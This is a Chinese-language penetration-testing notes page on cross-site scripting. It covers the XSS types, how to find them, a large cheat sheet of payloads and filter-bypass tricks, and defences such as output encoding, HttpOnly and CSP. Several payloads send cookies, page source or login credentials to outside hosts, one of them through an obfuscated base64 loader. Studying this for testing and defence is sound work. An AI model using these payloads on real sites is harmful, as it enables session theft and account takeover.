定义

跨站脚本(英语:Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许攻击者将恶意代码注入到前端网页上,其他用户在浏览网页时就会执行恶意代码而受到影响。

[!NOTE]

跨站脚本本来的缩写为CSS,但为了与层叠样式表(Cascading Style Sheets,CSS)的缩写进行区分,因此将跨站脚本攻击缩写为XSS

[!TIP]

既然是代码注入,那肯定也是在某些地方执行了特定的代码

本质是攻击者在web页面插入恶意的script代码(这个代码可以是JS脚本、CSS样式或者其他意料之外的前端代码),当用户浏览该页面之时,嵌入其中的script代码会被执行,从而达到恶意攻击用户的目的。比如读取cookie,session,tokens,或者网站其他敏感的网站信息,对用户进行钓鱼欺诈等

[!NOTE]

多说一句,这个漏洞是客户端的问题,基本上对服务端不会造成影响,主要是影响客户端,也就是影响用户的漏洞

危害

  1. 盗取身份信息,窃取会话Cookie从而窃取网站用户隐私、包括账户、浏览历史、IP等
  2. 未授权操作,通过JS发起敏感操作请求
  3. 按键记录和钓鱼
  4. 更广泛的蠕虫传播,借助网站进行传播,使网站的使用用户受到攻击。
  5. 劫持用户会话,从而知悉任意操作,比如弹窗跳转、篡改页面、网页挂马。

[!NOTE]

个人感觉最重要的有两点:

  1. 获取敏感数据,如cookie、个人信息等
  2. 发起敏感操作,如修改密码、新建工单等

简而言之,就是所有js能做到的事,它都能做到

XSS分类

XSS主要分为三类:

  • 反射型XSS
  • 存储型XSS
  • DOM型XSS

其中反射型、DOM-based型可以归类为非持久型XSS攻击,存储型归类为持久型XSS攻击

反射型XSS

[!NOTE]

payload不会存到数据库中,一般出现在查询页面(输入内容会直接返回的参数都可能存在反射型XSS)

反射型XSS,又称非持久型XSS,攻击相对于受害者而言是一次性的

攻击者诱导受害者点击包含恶意JavaSctipt代码的URL,当受害者点击这些精心设计的链接后,恶意代码会直接在受害者主机上的浏览器执行;恶意代码并没有保存在目标网站,而Web应用程序只是不加处理的把该恶意脚本“反射”回受害者的浏览器而使受害者的浏览器执行相应的脚本

一图胜千言

img

具体攻击流程如下:

  1. 攻击者将payload放置在url链接中(这是针对是GET型反射XSS)
  2. 用户点击该恶意链接
  3. web服务将XSS代码(JavaScript代码)以及视图返回给客户端
  4. 客户端解析视图以及XSS代码(JavaScript代码),并将执行结果发送到XSS平台
  5. 攻击者访问XSS平台,读取用户的敏感信息(Cookie)

存储型XSS

[!NOTE]

payload会存在数据库里面,一般出现在会将数据存储到数据库中并展示在前端页面的功能,如注册页、留言板等

存储型XSS是指应用程序将存在XSS payload的数据未进行过滤检查便存入到数据库中,当下一次从数据库中获取该数据时程序也未对其进行过滤,直接将其展示在前端,页面将会执行XSS payload攻击用户。

攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。这就意味着只要访问了这个页面的访客,都有可能会执行这段恶意脚本,因此储存型XSS的危害会更大。

存储型XSS漏洞大多出现在留言板、评论区等会存放到数据库中且会在某些地方展示该数据的功能点,用户提交了包含XSS代码的留言到数据库,当目标用户查询留言时,那些留言的内容会直接返回到前端并执行恶意的XSS payload

img

具体攻击流程如下:

  1. 攻击者向web服务插入XSS代码
  2. web服务会将其结果存储到数据库中
  3. 用户正常访问web服务
  4. web服务将数据库的数据以及视图返回给前端,前端渲染视图并加载数据,其中数据里包含恶意XSS代码(JavaScript代码)
  5. 客户端渲染视图,加载XSS代码,并向攻击者的web服务发送敏感信息
  6. 攻击者读取用户的敏感信息

DOM型XSS

[!NOTE]

不与后端服务器交互数据,payload不会存到数据库中,也属于反射型的一种,通过dom操作前端输出的时候产生问题(相比于前两种较难挖掘,需要熟悉基础的js代码)

DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式

客户端的脚本程序可以动态地检查和修改页面内容,而不依赖于服务器端的数据。例如客户端如从URL中提取数据并在本地执行,如果用户在客户端输入的数据包含了恶意的JavaScript脚本,而这些脚本没有经过过滤,那么应用程序就可能受到DOM-based XSS攻击。

需要特别注意以下的用户输入源 document.URLlocation.hashlocation.searchdocument.referrer

img

具体攻击流程如下:

  1. 攻击者将payload放置在url链接中(这是针对是GET型反射XSS)
  2. 用户点击恶意链接,并打开浏览器
  3. 此时浏览器客户端并不会发起http请求到web服务,而是在浏览器客户端执行XSS(JavaScript代码)
  4. 此时将XSS代码执行结果发送给攻击者的恶意服务
  5. 攻击者访问自己的XSS平台并读取用户的敏感信息

各XSS区别

基础对比

反射型 存储型 DOM型
攻击对象 需要攻击者主动寻找受害者并诱导其访问 广撒网,只要有用户访问对应的页面就会触发,危害性更大,范围更广 需要攻击者主动寻找受害者并诱导其访问(同反射型)
持久性 一次性 只要服务器不宕机,payload不被手动删除,就一直存在 一次性
触发点 网站中直接返回参数内容的功能点 网站中将数据直接存储到数据库中,后直接返回数据在前端展示的功能点 取决于DOM节点

反射型XSS与DOM型XSS区别

1、反射型XSS攻击中,服务器在返回HTML文档的时候,就已经包含了恶意的脚本;

2、DOM型ⅩSS攻击中,服务器在返回HTML文档的时候,是不包含恶意脚本的;恶意脚本是在浏览器执行了正常脚本后,才被注入到文档里的

[!TIP]

一句话区分:反射型XSS可以直接在服务端返回的html中看到payload,而DOM型XSS不行

XSS与CSRF的区别

面试常问

类别 特征
XSS 1、主要是加载JavaScript代码,在客户端执行
2、虽然经过后端,数据库(存储型),但主要需要客户端执行XSS代码,才能生效
3、DOM型XSS一定不经过后端,只是对浏览器客户端发起的攻击
4、XSS攻击针对的是用户层面的攻击 (攻击客户端)
CSRF 1、主要是欺骗服务器,虽然是由用户发起,但是服务器无法判断是否是不是用户想要发起的请求
2、一定会经过后端处理,不然无法执行
3、CSRF是一种身份伪造攻击,来对服务器进行欺骗的一种攻击手法

XSS挖掘

黑盒测试

  1. 分析数据包,所有可控参数都可以输入payload进行尝试,一般可以先输入一些常规标签如h1img等进行确认

    1. 直接返回输入内容就可能存在反射型XSS
    2. 在页面中进行特定渲染则可能存在DOM型XSS
    3. 直接存储到数据库中则可能存在存储型XSS

      当然这些都需要后期的二次确认

  2. 有时候也可将返回页面中的一些关键词进行构造参数拼接,再进行如上的检查,如以下html代码:

<script>
    var imgErrorLen=0;
</script>
<input type="hidden" name="ie" value="utf-8">

此时就可以尝试构造参数 imgErrorLen=<h1>123</h1>&ie=<h1>123</h1> 拼接

[!TIP] 可以维护一个XSS的Fuzz字典,这样可以快速辅助发现XSS漏洞,不需要一个一个手动去输入

白盒测试

关于XSS的代码审计主要就是从接收参数的地方和一些关键词入手。

  • PHP中常见的接收参数的方式有$_GET$_POST$_REQUEST等等,可以搜索所有接收参数的地方,然后对接收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和html编码等处理。
  • 也可以搜索类似echo这样的输出语句,跟踪输出的变量是从哪里来的,我们是否能控制,如果从数据库中取的,是否能控制存到数据库中的数据,存到数据库之前有没有进行过滤等等。
  • 大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过滤,能否绕过等等。
  • 同理审计DOM型注入可以搜索一些js操作DOM元素的关键词进行审计。

常见业务场景

  • 重灾区:评论区、留言区、个人信息、订单信息等
  • 针对型:站内信、网页即时通讯、私信、意见反馈
  • 存在风险:搜索框、当前目录、图片属性、自定义头像链接等

常见Payload

XSS主要是针对浏览器客户端的一种攻击,需要执行JavaScript代码,那么无疑需要使用到JavaScript语言以及在HTML中可以加载JavaScript的标签

速查表

探测器

快速查看过滤了哪些字符

'';!--"<h1>=&{()}</h1>

常用基础payload

基于标签

<--`<img/src=` onerror=confirm``> --!>
<Details Open OnToggle =co\u006efirm`XSS`>
<SCRIPT SRC=http://damit5.kiwi/xss.js></SCRIPT>
<SVG ONLOAD=&#97&#108&#101&#114&#116(1)>
<a href=1 onmouseover=alert(1)>nmask</a>
<a href="javascript:confirm('xxx')" target="_blank" rel="nofollow">你可以点击我触发</a>
<body onhashchange=a=alert,a(document.domain)>  <!-- # http://xxx.xxx.xxx#123 http://xxx.xxx.xxx#124 触发 -->
<body/onpageshow=alert(1)>
<body onpageshow=alert(1)>
<details/open/ontoggle=top["al"+"ert"](1)>
<discard onbegin=[1].find(alert)>
<iframe src=javascript:alert(1)>
<img src/*sv=x */onerror=alert()>
<img src onerror=alt=''+document.domain>
<img src="X" onerror=(a=alert,b=document['\x63\x6f\x6f\x6b\x69\x65'],a(b))>
<img src="X" onerror=top[8680439..toString(30)](1337)>
<img src="x:alert" onerror="eval(src+'(0)')">
<img src=# onerror=a=alert,a(1)>
<img src=0 onerror=confirm('1')>
<img src=1 onmouseover=alert(1)>
<img src=x onerror=setInterval`alert\x28document.domain\x29`>
<img src=x onerror=setTimeout`alert\x28document.cookie\x29`>
<img src=x:alert(alt) onerror=eval(src) alt=0>
<img/src/onerror=alert(1)>
<input class="" name="roots" id="roots" type="text" value=1 onfocus=alert(11) autofocus=>
<input type="hidden" name="returnurl" value="" accesskey="X" onclick="alert(document.domain)" /> <!--针对 hidden 的 input 标签,firefox下 shift+alt+X 成功-->
<input type=text autofocus/onfocus='prompt(1);'/>//
<marquee onstart=alert(1)>
<video autoplay onloadstart="alert()" src=x></video>
<video autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadeddata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadedmetadata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadstart="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadstart="alert()"><source src=x></video>
<video controls oncanplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<audio autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>
<audio autoplay controls onplaying="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>
<marquee loop=1 onFinish='alert(1)'>123</marquee>   <!-- # 滚动标签 -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<script>a=prompt;a(1)</script>
: </script><embed/embed/embed/src=https://14.rs>
<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> <!--用分号,也可以分号+空格(回车一起使用)-->
<script>window.a==1?1:prompt(a=1)</script>
<svg/onload="[]['\146\151\154\164\145\162']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164\50\61\51')()">
<svg/onload=[document.cookie].find(alert)>
<svg/onload=alert&lpar;1&rpar;>
<svg/onload=alert(1)>
<svg/onload=top['al\145rt'](1)>
<svg/onload=top[/al/.source+/ert/.source](1)>
<x/oncut=alert(1)>a
<iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<svg id="rectangle" xmlns="http://www.w3.org/2000/svg"xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100"><a xlink:href="javascript:alert(location)"><rect x="0" y="0" width="100" height="100" /></a></svg>
<svg><use xlink:href="data:image/svg+xml;base64,PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+DQo8YSB4bGluazpocmVmPSJqYXZhc2NyaXB0OmFsZXJ0KGxvY2F0aW9uKSI+PHJlY3QgeD0iMCIgeT0iMCIgd2lkdGg9IjEwMCIgaGVpZ2h0PSIxMDAiIC8+PC9hPg0KPC9zdmc+#rectangle"/></svg>
<embed src=javascript:alert(1)>
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>

基于事件

上面基于标签中也有很多基于事件的了,遇到可以用事件的也可以参考下上面的事件

onclick=document.write(document.cookie)
self[Object.keys(self)[5]]("foo") // alert("foo")
constructor.constructor(alert(1))
eval('alert(1)')
[1].find(alert);
[self.alert(1)]
top['al\x65rt'](2);
top["al"+"ert"](3);
setTimeout('ale'+'rt(4)');
Function("ale"+"rt(5)")();
new Function`al\ert\`6\``;
setInterval('ale'+'rt(7)');
top[/al/.source+/ert/.source](9);
open('java'+'script:ale'+'rt(10)');
top[8680439..toString(30)](8);    // 使用parseInt("alert",30)生成
self[9350252032..toString(30)](1) // confirm(1)

除了常见的一些事件onerroronclick等之外,js还有很多的事件,参考如下:

基于伪协议

如果URL跳转的地址可控,且存在于<a>标签中,就可以利用伪协议来XSS

javascript://www.baidu.com/%E2%80%A8alert(1)
javascript:location.href='http://127.0.0.1:8999/username='+document.getElementsByName('username')[1]._value+'&password='+document.getElementsByName('password')[1]._value

MarkDown XSS

列举几个,可以需要的时候github再去找

[a](javascript:prompt(document.cookie))
[a](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
<&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>  
![a'"`onerror=prompt(document.cookie)](x)
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)
...

XML XSS

<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//brutelogic.com.br/1.js"/>

获取Cookie手法

<img src=x onerror=with(document)body.appendChild(document.createElement('script')).src="js地址"></img>
<img src=x onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwOi8vNjYuMTEyLjIxMy43Njo4MS9CbHVlTG90dXNfWFNTUmVjZWl2ZXIvdGVtcGxhdGUvZGVmYXVsdC5qcyc='))>
<img src="x" onerror="$.getScript('http://x.xsslog.cn/xxxxx')"> <!-- 需要 jquery 的支持 -->
<img/src/onerror=this.src='//baidu.com/?'+document.cookie>
<!--# 分段构造-->
<img/src/onerror=a=document;>
<img/src/onerror=s=a.createElement('script');>
<img/src/onerror=body.appendChild(s);>
<img/src/onerror=s.src='https://vxss.cc/r7K6'>
<svg/onload="document.location='http://72sf9a.ceye.io/?'+document.cookie">

登陆劫持手法

如果遇到登录页面存在XSS,那么就可以通过一些特殊的js代码来获取账号密码等,达到登陆劫持的目的

举一些例子,可以根据实际情况修改

输入就弹窗

<!-- 输入就弹窗,初始代码 -->
<input name="ccc" type="text" id="1" size="20" /><br />
<script>
    var input = document.getElementById('1')
    input.oninput = function(){
        alert(input.value);
    }
</script>

<!-- 输入就弹窗,缩一行 -->
<input name="ccc" type="text" id="xxx" size="20" /><br />
<svg/onload="var input = document.getElementById('xxx');input.oninput = function(){alert(input.value);}">

修改表单的action

<form action="xxx.php" method="post" id="sss">
<input type="text" name="xxx" id="xxx">
<input type="submit">
</form>
<svg/onload="var form1 = document.getElementById('sss');form1.action = 'http://127.0.0.1/out.php';">

<!-- 没有id 没有 name 可以通过 getElementsByTagName 来修改 -->
<svg/onload="var form1 = document.getElementsByTagName('form')[0];form1.action = 'http://127.0.0.1/out.php';">

通过增加按钮属性

$(".news[type=submit]")[0].setAttribute("onclick", "alert("Password:" + document.getElementsByName('Password')[0].value)")

跳转的登陆劫持

如果跳转的链接可控,也可以劫持到数据

redirectUrl=javascript:location.href='http://127.0.0.1:8999/username='+document.getElementsByName('username')[1]._value+'&password='+document.getElementsByName('password')[1]._value

获取敏感数据

发送xhr请求获取数据

通过xhr来获取敏感数据,有jquery更简单,只不过xhr比较通用

# 纯js请求获取token -> 正则表达式
<script>
    var xmlhttp = new XMLHttpRequest();
    xmlhttp.open("POST","https://m.gm7.org/",true);
    xmlhttp.withCredentials = true;
    xmlhttp.send();
    xmlhttp.onreadystatechange=function()
      {
      if (xmlhttp.readyState==4 && xmlhttp.status==200)
        {
            alert(xmlhttp.responseText);
        }
    }
</script>

获取当前页面源码

var xmlhttp;
if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari
    xmlhttp = new XMLHttpRequest();
} else { // code for IE6, IE5
    xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}

xmlhttp.open("POST", "http://dnslog.ceye.io/html_source", true);
xmlhttp.send(escape(document.location) + "=" + encodeURIComponent(document.getElementsByTagName('html')[0].innerHTML));

绕过

常规手法

一切的绕过都需要尽量知道他的过滤规则,分析出来过滤规则了利用起来就方便多了

常规的一些手法:

  1. 编码
  2. 注释
  3. 大小写
  4. 双写
  5. HPP参数污染
  6. 超长垃圾字符

通用编码手法

可以直接使用xss'or:https://evilcos.me/lab/xssor/

XSS'OR 编码后用在 on 事件之后 onerror=xss'or encode,也可以用到eval函数中 eval("xss'or encode")

<svg/onload=&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x002f;&#x0078;&#x0073;&#x0073;&#x002f;&#x0029;>
<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029")</script>

常用编码:

  • 第一个,html实体编码,例如:&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x29;
  • 第二个,进制类,例如:\x61\x6c\x65\x72\x74\x60\x78\x73\x73\x60,某些时候,也有不带x,例如:\5c\6a
  • 第三个,Unicode,例如:\u0061\u006c\u0065\u0072\u0074\u0060\u4e2d\u6587\u4e5f\u53ef\u4ee5\u0060
  • 第四个,纯转义,例如:\' \" \< \> ,这样的在特殊字符前加\进行转义。

其他编码手法:

jsfuck

jjencode

通过eval函数

上面也提到了,算是举例子吧

# 十六进制
<script>eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x78\x78\x78\x27\x29")</script>

# ASCII
<img src="javascript:alert(1)" onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,120,120,122,122,39,41))>

# 其他
<script>eval(String.\u0066\u0072\u006f\u006d\u0043\u0068\u0061\u0072\u0043\u006f\u0064\u0065(0x61,0x6c,0x65,0x72,0x74,0x28,0x31,0x29))</script>

绕过<过滤

大多数网站在防御时,都会给输入的<进行编码处理,让我们误认为不存在XSS,但是我们不清楚后端是如何处理的,可能输入一些特殊的编码会被后端解码呢?

所以可以用如下的一些payload来遍历,看看有不有能让<解码后使用的,达到我们XSS的目的

<
%3C
%253C
%25253C
&lt
&lt;
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&#60;
&#060;
&#0060;
&#00060;
&#000060;
&#0000060;
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
\x3c
\x3C
\u003c
\u003C

绕过关键词过滤

有些网站可能禁止使用一些关键词如document.cookie,可以通过如下的方式来绕过

document . cookie
document/*xxx*/./*xxx*/cookie

绕过空格过滤

/**/ 可以替代空格

<img st/**/src ="x"/**/onerror=alert(1)>

以及一些URL编码也可以代替空格

%0a
%0d
%09
%20
%00

绕过javascript过滤

javas\rcript:self[Object.keys(self)[6]](sessionStorage.getItem('_diskSessionId'))//

// http://example.com/redirect?url=javascript:alert()
document.location = 'javasc\tript:alert(123)'
document.location = 'javasc\rript:alert(123)'
document.location = 'javasc\nript:alert(123)'

绕过括号()过滤

alert`1`
prompt`${document.cookie}`
window.onerror=alert;throw 1
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<script type="text/javascript">window.onerror=alert;throw 1</script>

绕过长度限制

  • 执行锚点后面的内容 location.hash
  • 使用 import('//domain/file'),这个需要使用同样的协议,加载的js的响应头中的content-typeapplication/javascript而且允许跨域加载Access-Control-Allow-Origin: * 参考文章
  • 特殊的unicode字符:https://www.fuhaoku.net/danweifuhao/

利用JS全局变量绕过

  • 全局变量
window
self
_self
this
top
parent
frames
window["document"]["cookie"]
window["alert"](window["document"]["cookie"])

self["alert"](self["document"/*xxx*/]["cookie"])
self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"])
self["\x61\x6c\x65\x72\x74"](self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x6f\x6f\x6b\x69\x65"])
self["\x65\x76\x61\x6c"](self["\x61\x74\x6f\x62"]("ZG9jdW1lbnQuY29va2ll"))

// Jquery
self["$"]["globalEval"]("alert(1)")

// 高级用法,不出现alert等关键词,遍历全局变量找到对应的函数
c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; }   // 先搜索到alert函数的id
self[Object.keys(self)[5]]("foo") // alert("foo")

a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}} // 正则表达式匹配出alert然后定义函数a为alert
self[Object.keys(self)[a()]]("foo")
  • 字符串转16进制(\x格式的)
import binascii

result = []
a = input("\t\t: ")
for i in a:
    result.append(binascii.b2a_hex(i.encode()))

result = [i.decode() for i in result]
result = "\\x".join(result)
print ("\\x" + result)

常规防御

输入检查

1、假定所有输入都是可疑的,必须对所有输入中的<>'"on.*scriptiframe等字样进行严格的检查。这里的输入不仅仅是用户可以直接交互的输入接口,也包括HTTP请求中的Cookie中的变量,HTTP请求头部中的变量等

常见过滤字符:

字符 说明
西文竖线符号
& & 符号
; 分号
$ 美元符号
% 百分比符号
@ at 符号
' 单引号
" 引号
\' 反斜杠转义单引号
\" 反斜杠转义引号
<> 尖括号
() 括号
+ 加号
CR 回车符,ASCII 0x0d
LF 换行,ASCII 0x0a
, 逗号
\ 反斜杠
= 等号

2、验证用户输入的数据类型,数据长度,数据内容(最好客户端与服务端均进行验证,服务端验证是必须的)

  • 如果数据类型为整型,则使用intval强制转换变量类型
  • 如果用户输入是手机号,那么就需要判断是否是11位数字
  • 如果数据内容为邮箱,则应使用正则取A-Za-z0-9.@-_范围内的值,其它字符则忽略掉

输出编码

对用户输入的不信任的内容均采用编码的方式输出到页面中,输出编码手段主要有3种编码:

  • URL编码
  • HTML编码
  • JavaScript编码

常见需要编码的字符:

& --> &amp;
< --> &lt;
> --> &gt;
" --> &quot;
' --> &#x27;
/ --> &#x2F;

使用httponly

HTTP-only Cookie:禁止JavaScript读取某些敏感Cookie,使得攻击者完成XSS注入后也无法成功窃取到Cookie

[!WARNING]

httponly无法完全的防御XSS漏洞,它只是规定了不能使用js去获取cookie的内容,因此它只能防御利用xss进行cookie劫持的问题

Httponly是在set-cookie时标记的,可对单独某个cookie标记也可对所有cookie标记,由于设置httponly的方法比较简单,使用也很灵活,并且对防御cookie劫持非常有用,因此已经渐渐成为一种默认的标准

[!DANGER]

httponly在某些情况也是可以获取到cookie的

  • 例如apache漏洞,默认用于状态代码400的错误应答存在缺陷,当没有配置定制ErrorDocument时利用此缺陷攻击者可以获得httpOnly cookie信息
  • 开启TRACE协议

使用CSP

Content Security Policy(内容安全策略):

  1. 禁止加载外域代码,防止复杂的攻击逻辑。
  2. 禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
  3. 禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
  4. 禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。
  5. 合理使用上报可以及时发现 XSS,利于尽快修复问题。

CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机

可以参考mozilla的官方文档:https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP

特殊防御

富文本编辑器XSS修复

富文本编辑器的XSS不同于其他地方,因为它本身是允许支持部分标签的,也就是说至少需要支持<>

修复建议有3点:

  1. 设置标签白名单,如仅允许<a><img>等必须标签等
  2. 为白名单标签的属性设置白名单,如<a>仅允许使用href属性等,同时限制属性中的内容防止伪协议造成XSS漏洞,禁止出现on.*等事件属性

URL可控

由于某些地方URL可控,使用javascript等伪协议仍然可以触发XSS漏洞,如

<a href="{xss payload}">Test</a>

这个时候修复则需要两步进行修复:

  1. 验证URL是否以http(s)://开头,如果不是则自动添加或拒绝请求,确保不会出现伪协议
  2. http(s)://后的内容进行URL编码处理

JSONP

部分网站由于跨域调用中callback函数名可以自定义,可以将回调函数名修改为XSS语句导致XSS漏洞

修复也很简单,设置返回的header头即可,如下

Content-Type: application/json; charset=utf-8
Copyright © d4m1ts 2023 all right reserved,powered by Gitbook该文章修订时间: 2022-11-24 20:53:41

results matching ""

    No results matching ""